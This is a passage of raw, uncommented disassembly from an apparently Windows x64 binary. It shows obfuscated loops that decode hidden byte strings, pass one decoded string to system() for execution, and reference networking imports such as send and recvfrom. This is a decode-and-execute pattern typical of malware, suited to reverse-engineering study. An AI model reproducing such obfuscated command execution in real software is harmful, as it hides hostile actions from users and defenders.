jne 0x1400959d6
add sil, 0x76
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0x3a
dec r12
jmp 0x140095c88
cmp rbx, rdx
jne 0x14009579d
lea edx, [r14 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095b94
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140095a24
sub r14b, 0x18
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
lea edi, [r11 + r14]
sub dil, 0x58
jmp 0x140095c7c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140095a4d
sub r14b, 0x2c
movzx eax, r14b
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r11b
jmp 0x140095c53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095a76
add r14b, 0x78
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
lea edi, [r11 + r14]
sub dil, 0x48
add rbx, r8
jmp 0x140095c53
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400957ce
sub r14b, 0x40
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
lea edi, [r11 + r14]
sub dil, 0x40
dec r12
jmp 0x140095c88
mov byte [rsp + r12 + 0x50], dil
jmp 0x140095c88
lea edx, [r14 + 0x50]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x30
add dil, dl
add dil, r11b
jmp 0x140095b94
lea edx, [r14 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140095b00
add r15b, 0x36
movzx eax, r15b
and al, r11b
add al, al
sub r15b, al
lea edi, [r11 + r15]
sub dil, 0x7a
add r14b, 0x46
movzx eax, r11b
and al, r14b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, r14b
movzx eax, cl
mov byte [rsp + r12 + 0x50], al
inc r8
add rax, r8
sub r12, rax
lea ecx, [r12 - 0x68]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, cl
mov byte [rsp + r12 + 0x50], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140095c7c
sub r15b, 0x6e
movzx eax, r15b
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r11b
jmp 0x140095c53
add r15b, 0x4a
movzx eax, r15b
and al, r11b
add al, al
sub r15b, al
lea edi, [r11 + r15]
sub dil, 6
sub r14b, 0x5e
movzx eax, r11b
and al, r14b
add al, al
sub r11b, al
sub r11b, 0x6e
add r11b, dil
add r11b, r14b
mov byte [rsp + r12 + 0x50], r11b
add rbx, r8
jmp 0x140095c53
add r15b, 0x5e
movzx eax, r15b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r11b
sub r14b, 2
movzx eax, r11b
and al, r14b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add cl, r14b
mov byte [rsp + r12 + 0x50], cl
inc r8
dec r12
jmp 0x140095c88
lea edx, [r12 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r12
jmp 0x140095c88
lea edx, [r12 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x140095c53
lea rax, [r12 + rsi]
and dl, al
add dl, dl
sub r11b, dl
lea edi, [rax + r11]
sub dil, 0x2e
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x140095c88
lea rcx, [r12 + r14]
and dl, cl
mov eax, 0x23
sub al, dl
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rsp + r12 + 0x50]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0xc69cb3d74b4412e2
movabs r14, 0xecdee69d1916b0f6
movabs r15, 0x4ef4f789b3079052
jmp 0x140095533
sub r14b, 0x66
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
lea edi, [r11 + r14]
sub dil, 0x36
movabs rsi, 0xc69cb3d74b4412e2
movabs r14, 0xecdee69d1916b0f6
movabs r15, 0x4ef4f789b3079052
jmp 0x140095530
sub r14b, 0xa
movzx eax, r14b
and al, r11b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r11b
jmp 0x140095502
lea rdx, [rbp + 0x154f668]
jmp 0x140095d20
lea rdx, [rbp + 0x11c86ba]
jmp 0x140095d20
lea rdx, [rsp + 0x50]
mov rcx, r13
call fcn.140041a30
mov rcx, rax
lea rdx, [0x140148574]
call fcn.140041a30
mov dword [rbp + 0x1a0], 0x6e6f1a56
mov word [rbp + 0x1a4], 0xfd1d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a6], xmm0
movabs rsi, 0x84d2c1b30553039f
movabs r12, 0xa1c34be525451959
movabs r15, 0x981dc87f1a9f121b
movabs r14, 0x8e7845190ff90add
movzx edi, byte [rsp + 0x40]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x14009690f
movzx r10d, byte [rbp + r11 + 0x1a0]
mov edx, r10d
nop word [rax + rax]
cmp rbx, r11
ja 0x140096906
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140095ddc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x59
jmp 0x140095e16
je 0x14009689a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140096841
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400967fd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400967a5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009675e
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x1400968fd
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140095e4a
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
jmp 0x140095e80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140096747
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140096724
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140096707
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400966ea
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140096413
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400963f4
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400963cb
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400963a5
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140096386
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140096369
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140096349
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14009632a
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009630a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400962d8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140095e90
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 6]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400968e0
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400968c3
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14009607a
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14009605f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140096044
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140096284
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14009623a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400961fa
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400961d2
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140095e90
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400961a0
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140096180
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140096161
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140096141
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140096121
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140096102
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400960df
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400960b6
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140096097
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140095e90
lea rbx, [r8 + 0x41]
lea r8, [rbx + 8]
jmp 0x140095e90
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
jmp 0x140095e80
lea ecx, [r9 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
jmp 0x140095e20
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x140095db0
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140096778
add r9b, 0x1a
movzx eax, r10b
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140095d94
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
dec r11
inc r11
jmp 0x140095d94
lea edx, [r9 - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x52
add dil, dl
jmp 0x1400967bf
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400967e1
add r9b, 0x22
movzx eax, r10b
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400967e4
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x140096813
sub r9b, 0x5a
movzx eax, r10b
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140096853
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
add r9b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1b
mov byte [rbp + r11 + 0x1a0], dil
inc r11
jmp 0x140095d94
lea edx, [r9 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x69
add dil, dl
cmp r8, 3
jb 0x1400961ea
lea edx, [r9 + 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140096778
lea edx, [r9 - 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x49
add dil, dl
cmp rbx, 0x64
jae 0x1400966ac
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400965c5
lea edx, [r9 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140096211
lea edx, [r9 - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 5
add dil, dl
lea rax, [rbx + r8]
cmp rax, 2
je 0x1400966ce
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14009651f
lea edx, [r9 - 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x35
jmp 0x140096251
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
add r9b, 4
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, r9b
jmp 0x140096853
lea edx, [r9 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6a
add dil, dl
jmp 0x140096813
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400967e4
add r9b, 0x4a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 6
jmp 0x1400967e1
lea edx, [r9 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x1400967bf
sub r9b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140095d94
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140095d94
lea edx, [r9 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3e
add dil, dl
jmp 0x140096778
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14009643b
lea edx, [r9 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x59
jmp 0x14009629b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140096476
add r9b, 0x16
movzx eax, r10b
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009649e
lea edx, [r9 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140096813
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400964c4
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
jmp 0x1400967e1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400964ec
lea edx, [r9 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x1400967bf
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009629e
sub r9b, 0x76
movzx eax, r10b
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140095d94
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140096547
lea edx, [r9 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
add dil, dl
jmp 0x140096778
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140096573
sub r9b, 0x63
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4b
dec r11
inc r11
jmp 0x140095d94
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009659b
lea edx, [r9 - 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 3
add dil, dl
jmp 0x1400967bf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096254
add r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x61
jmp 0x1400967e4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400965fd
add r9b, 0x2c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096625
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400967bf
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140096651
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140095d94
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096680
sub r9b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x12
inc r8
dec r11
inc r11
jmp 0x140095d94
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140096214
lea edx, [r9 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140096778
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r10b
jmp 0x1400967bf
lea edx, [r9 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140096813
add r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
jmp 0x1400967e4
add r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x39
jmp 0x1400967e1
sub r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x63
dec r11
inc r11
jmp 0x140095d94
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
jmp 0x140096778
movzx r9d, r11b
lea ecx, [r9 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x31
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
inc r8
dec r11
inc r11
jmp 0x140095d94
movzx r9d, r11b
lea ecx, [r9 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
add r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x7f
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x1a0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095d94
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x6f
movzx r9d, r11b
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x1a0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140096853
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x43
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x1a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0xb
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095d94
sub r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3d
jmp 0x140095d91
add r9b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x75
jmp 0x140095d81
lea rcx, [rbp + 0x1467074]
jmp 0x140096916
lea rcx, [rbp + 0x997413]
jmp 0x140096916
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x26c
mov ecx, 0x140
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400610e0
call fcn.14005f1f0
mov dword [rbp + 0xe0], 0x23912d76
mov dword [rbp + 0xe4], 0x27922196
mov dword [rbp + 0xe8], 0x3b832596
mov dword [rbp + 0xec], 0x3f9b398c
mov dword [rbp + 0xf0], 0x338e3d7b
mov dword [rbp + 0xf4], 0x37933189
mov dword [rbp + 0xf8], 0xbbe3586
mov dword [rbp + 0xfc], 0xfa50975
mov dword [rbp + 0x100], 0x3b00db5
mov dword [rbp + 0x104], 0x772014a
mov dword [rbp + 0x108], 0x1b4d0579
mov dword [rbp + 0x10c], 0x1fa719a0
mov dword [rbp + 0x110], 0x13a21dac
mov dword [rbp + 0x114], 0x17a411a9
mov dword [rbp + 0x118], 0x6b1815af
mov dword [rbp + 0x11c], 0x6fe669cd
mov dword [rbp + 0x120], 0x63626dc9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x124], xmm0
mov qword [rbp + 0x134], rax
mov byte [rbp + 0x13c], al
movzx edi, byte [rsp + 0x40]
movabs rsi, 0x63bea849dc350706
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax + rax]
xor r14d, r14d
mov qword [rsp + 0x48], r14
cmp r14, 0x5d
jae 0x140097427
lea rax, [rbp + 0xe0]
add rax, r14
mov qword [rbp + 0x140], rax
movzx r9d, byte [rax]
mov edx, r9d
mov qword [rbp + 0x1c0], rdx
cmp rbx, r14
ja 0x14009741e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140096a7d
lea rcx, [r14 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x2a
jmp 0x140096ab7
je 0x140097391
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009730b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400972cc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400972ad
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140097282
movzx edx, r14b
nop dword [rax + rax]
movzx esi, dl
movzx r15d, dl
movzx r13d, dl
movzx r12d, dl
cmp r8, r14
ja 0x140097415
lea r10, [r8 + 1]
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140096b04
lea ecx, [rdx + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
lea r11, [r8 + 2]
lea rcx, [r8 + 4]
jmp 0x140096b41
cmp rbx, r10
je 0x140097229
lea r11, [r8 + 2]
cmp rbx, r11
je 0x1400971f7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400971cd
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x1400971af
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140097195
lea r14, [r8 + rbx]
cmp r14, qword [rsp + 0x48]
jbe 0x140096e04
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140096de7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140096db2
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140096d7d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140096d60
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400973f8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400973ce
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140096c43
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140096c24
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140096d20
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x41]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140096cfb
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140096cd9
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140096cb6
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140096c91
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140096c73
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x61]
jmp 0x140096b50
lea ecx, [rdx + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
mov r14, qword [rsp + 0x48]
jmp 0x140096ac0
add dl, 0x2a
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x26
mov r14, qword [rsp + 0x48]
mov rdx, qword [rbp + 0x1c0]
movabs rsi, 0x63bea849dc350706
jmp 0x140096a51
lea edx, [rsi - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140097242
sub sil, 0x4c
movzx eax, sil
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x1400972e8
lea edx, [rsi - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x14009732e
sub sil, 0x64
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x44
mov r14, qword [rsp + 0x48]
jmp 0x14009735f
sub sil, 0x70
movzx eax, sil
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x1400973ad
lea edx, [rsi + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 9
jb 0x14009710d
lea ecx, [rsi + 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x78]
jmp 0x140097242
sub r15b, 0x48
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 8
jmp 0x14009714a
sub r15b, 0x54
movzx eax, r15b
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r9b
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
sub r15b, 0x60
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0x60
inc r8
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
sub r15b, 0x6c
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0xc
jmp 0x140097242
cmp rbx, r10
jae 0x140096e8f
add r12b, 6
movzx eax, r12b
and al, r9b
add al, al
sub r12b, al
lea edi, [r9 + r12]
sub dil, 0x2a
lea rdx, [r8 + 3]
cmp r14, 3
je 0x14009717b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140096f6f
add r15b, 0x6e
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 2
cmp rbx, 0x10
jae 0x14009712e
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14009705e
lea ecx, [rsi - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140096d39
jne 0x140096eb6
sub r12b, 4
movzx eax, r12b
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r12b
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x1400973ad
cmp rbx, r11
jne 0x140096edd
add r13b, 8
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x38
mov r14, qword [rsp + 0x48]
jmp 0x14009735f
cmp rbx, rcx
jne 0x140096f07
add r15b, 0x2c
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0x34
mov r14, qword [rsp + 0x48]
add rbx, r8
jmp 0x1400972e8
lea rax, [r8 + 7]
cmp rbx, rax
